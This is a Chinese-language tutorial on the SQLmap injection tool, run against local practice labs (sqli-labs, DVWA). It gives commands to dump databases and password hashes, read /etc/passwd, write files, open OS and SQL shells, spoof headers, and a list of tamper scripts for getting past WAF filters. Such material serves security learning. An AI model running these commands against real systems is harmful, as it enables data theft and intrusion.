說實話本不打算寫SQLmap的使用的,網上教程太多了,用爛了,都去用工具,
一到面試連個原理都不知道,僅供參考,多懂原理,少用工具,切記。
簡介
SQLmap是一個自動化的SQL注入工具,主要功能是掃描、發現並利用給定URL的SQL注入漏洞,內置了很多繞過插件,支持MySQL、Oracle、postgreSQL、MSSQL(SQL Server)、ACCESS、DB2、SQLite、Firebird、sybase和SAP MaxDB數據庫。SQLmap的強大功能包括數據庫指紋識別、數據庫枚舉、數據提取、訪問目標、文件系統、並在獲取完全的操作權限時實行任意命令。
安裝SQLmap
我們不用網上那種將SQLmap放到python的安裝目錄下。
https://github.com/sqlmapproject/sqlmap
直接解壓,創建一個名為alies_cmd.bat的別名腳本,右鍵編輯內容如下
修改注冊表,計算機\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Command Processor
創建一個字符串名為AutoRun,值為剛才創建的bat腳本
這樣我們就能直接cmd調用sqlmap了
基本使用
1,判斷是否存在注入點
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1
id參數大於兩個時,記得把url用雙引號引起來
sqlmap -u “http://192.168.239.29/sqli-labs/Less-1/?id=1&uid=1"
報出的代碼中,需要關注的點
第一處的意思為檢測到數據庫可能是MySQL,是否需要跳過檢測其他數據庫;第二處的意思是在“level1,risk1”的情況下,是否使用MySQL對應的所有payload進行檢測;第三處的意思為參數ID存在漏洞,是否繼續檢測其他參數。
檢測結果,id處GET型注入,報錯注入,延時注入,聯合查詢。
2,判斷文本中的請求是否存在注入
MySQL可以從一個文本文件中獲取HTTP請求,這樣可以不設置其他參數(如cookie、POST數據等),txt文件中的內容為Web數據包
-p為指定其中一個參數
sqlmap -u http://192.168.100.94/DVWA/vulnerabilities/sqli/?id=1&submit=submit# -p id
-r一般在存在cookie注入時使用,注意*的優先級最高,測試時記得把其他*去掉
3,查詢數據
(1)查詢所有庫名
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 - -dbs
(2)查詢庫中的所有表名
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 -D security - -tables
(3)查詢表中的字段
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 -D security -T users - -columns
(4)查詢字段內容
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 -D security -T users -C username,password - -dump
(5)脫褲
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 - -dump-all
(6)獲取數據庫的所有用戶
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 - -users
(7)獲取數據庫用戶的密碼
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 - -passwords
如果當前用戶有讀取包含用戶密碼的權限,SQLMAP會先列出用戶,再列出hash,並嘗試破解
密碼使用MySQL5加密,可在www.cmd5.com 中自行解密。
(8)獲取當前網站數據庫名稱
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 - -current-db
(9)獲取當前網站數據庫用戶名稱
進階命令
1,- -level 5:探測等級
默認為1,等級越高包含的payload越多,在xml/payload.xml中可看到,也可根據相應的格式添加自己的payload,其中5級包含payload最多,會自動破解出cookie、XFF等頭部注入。但相對運行速度也比較慢。
這個參數會影響測試的注入點,GET和POST數據都會進行測試,HTTP cookie在level為2時就會測試,HTTP User-Agent/Referer頭在level為3時進行測試。在不確定哪個payload或參數為注入點時,為了保證全面性,建議使用高的level值。
2,- -is-dba:查詢當前用戶是否為管理員權限
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 - -is-dba
3,- -roles:列出數據庫管理員角色
如果當前用戶有權限讀取包含所有用戶的表,輸入該命令會列舉出每個用戶的角色。
4,- -referer:HTTP Referer頭
當- -level參數設定為3或以上時,會嘗試對referer進行注入。可以使用此命令來欺騙,如- -referer http://www.baidu.com
5,- -sql-shell
返回一個能夠執行SQL語句的shell
6,- -os-cmd,- -os-shell
- -os-cmd 執行net user命令
- -so-shell 獲取一個交互式的shell執行操作系統命令
原理(重點):通過mysql的into outfile或into dumpfile功能,向網站目錄寫入php代碼,用來執行系統命令。(需要數據庫管理員權限,也就是- -is-dba的值為Ture)
7,- -file-read:從數據庫服務器中讀取文件
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 - -file-read “/etc/passwd”
8,- -file-write - -file-dest:上傳本地文件到數據庫服務器中
寫入write本地文件路徑的文件,dest到目標的絕對路徑,盡量把路徑引起來
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 - -file-write “C:\Users\35040\Desktop\1.txt” - -file-dest “/tmp/1.txt”
9,其他常用命令
- -prefix ‘%df%27’ 指定前綴
- -suffix ‘- - l’ 指定后綴
sqlmap - -purge 清除所有緩存
- -technique B 注入測試時,指定布爾盲注
- -threads 5 多線程檢索
- -identify-waf - -batch 檢測waf
直接連接到數據庫
-d “mysql://admin:admin@192.168.1.1:3306/testdb” - -dbs
指定cookie注入
- -cookie “security=low;PHPSESSID=28albj29q9588v7utjoo4”
自帶腳本tamper
格式: sqlmap -u http://url - -tamper 模塊名
速查表:
1,apostrophemask.py
作用:將引號替換為UTF-8,用於過濾單引號
2,base64encode.py
作用:替換為 base64編碼
3,multipleaspace.py
作用:圍繞 SQL 關鍵字添加多個空格
4,space2plus.py
作用:用+號替換空格
5,nonrecurisvereplacement.py
作用:作為雙重查詢語句,用雙重語句替代預定義SQL關鍵字(適用於非常弱的自定義過濾器,例如將SELECT替換為空)
6,space2randomblank.py
作用:將空格替換為其他有效字符
7,unionalltounion.py
作用:將 union all select替換為union select
8,securesphere.py
作用:追加特制字符串
使用前:1 and 1=1
使用后:1 and 1=1 and ‘0having=0having’
9,space2hash.py
作用:將空格替換為#號,並添加一個隨機字符串和換行符
10,space2mssqlblank.py(mssql)
作用:將空格替換為其他空符號
11,space2mssqlhash.py
作用:將空格替換為#號,並添加一個換行符
12,between.py
作用:用not between 0 and 替換大於號(>),用between and替換等號(=)
13,percentage.py
作用:ASP 允許在每個字符前面添加一個%號
14,sp_password.py
作用:從DBMS日志的自動模糊處理的有效載荷中追加sp_password
15,charencode.py
作用:對給定的payload全部字符使用url編碼(不處理已經編碼的字符串)
16,randomcase.py
作用:隨機大小寫
17,charunicodeencode.py
作用:字符串Unicode編碼
18,space2comment.py
作用:將空格替換為/**/
19,equaltolike.py
作用:將等號替換為like
20,greatest.py
作用:繞過對>號的過濾,用greatest替換>號
21,ifnull2ifisnull.py
作用:繞過對ifnull的過濾,替換類似ifnull(a,b)為if(isnull(a),b,a)
22,modsecurityversioned.py
作用:過濾空格,使用mysql內聯注釋的方式進行注入
23,space2mysqlblank.py
作用:將空格替換為其他空白符號(mysql)
24,modsecurityzeroversioned.py
作用:使用mysql內聯注釋的方式進行注入(/*!00000*/)(mysql5.0)
25,space2mysqldash.py
作用:將空格替換為- -,並添加一個換行符
26,bluecoat.py
作用:sql語句之后用有效的隨機空白符替換空格符,隨后用like替換=號
27,versionedkeywords.py
作用:注釋繞過
28,halfversionedmorekeywords.py
作用:當數據庫為mysql時繞過防火牆,再每個關鍵字之前添加mysql版本注釋
29,space2morehash.py
作用:將空格替換為#號,並添加一個隨機字符串和換行符
30,apostrophenullencode.py
作用:用非法雙字節Unicode字符替換單引號
31,appendnullbyte.py
作用:在有效負荷的結束為止加載零字節字符編碼
32,chardoubleencode.py
作用:對給定的payload全部字符使用雙重url編碼(不處理已經編碼的字符)
33,unmagicquotes.py
作用:用一個多字節組合(%bf%27)和末尾通用注釋一起替換空格
34,randomcomments.py
作用:用/**/分割sql關鍵字
希望大家在學習如何使用自帶的tamper的同時,能夠掌握tamper的編寫規則,才能在各種實戰環境中應對自如。